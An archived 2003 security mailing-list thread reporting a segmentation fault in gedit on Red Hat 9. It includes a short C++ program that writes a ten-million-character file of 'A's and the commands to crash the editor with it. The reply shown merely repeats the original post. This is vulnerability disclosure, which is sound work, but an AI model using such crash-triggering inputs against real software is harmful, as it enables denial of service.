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simple buffer overflow in gedit
Nov 23 2003 02:37PM
Andreas Constantinides (MegaHz) (megahz megahz org)
(1 replies)
Hello,
I discover a strange but simple buffer overflow in gedit.
I am using RH9,
to demostrate the buffer here is a simple file buffer generator:
===========buffer.c == cut here===============
/*
simple buffer overflow generator by MegaHz megahz (at) megahz (dot) org [email concealed]
*/
#include <iostream>
using namespace std;
int main()
{
int i;
for (i=0;i<=9999999;i++)
{
cout << "A";
}
return 0;
}
===========================================
# g++ -o buffer buffer.c
# ./buffer > lala
# gedit lala
Segmentation fault
#
MegaHz (Andreas Constantinides)
www.megahz.org
www.cyhackportal.com
[ reply ]
Re: simple buffer overflow in gedit
Nov 24 2003 05:37PM
Matthias Buelow (mkb mukappabeta de)
Privacy Statement
Copyright 2010, SecurityFocus
I discover a strange but simple buffer overflow in gedit.
I am using RH9,
to demostrate the buffer here is a simple file buffer generator:
===========buffer.c == cut here===============
/*
simple buffer overflow generator by MegaHz megahz (at) megahz (dot) org [email concealed]
*/
#include <iostream>
using namespace std;
int main()
{
int i;
for (i=0;i<=9999999;i++)
{
cout << "A";
}
return 0;
}
===========================================
# g++ -o buffer buffer.c
# ./buffer > lala
# gedit lala
Segmentation fault
#
MegaHz (Andreas Constantinides)
www.megahz.org
www.cyhackportal.com
[ reply ]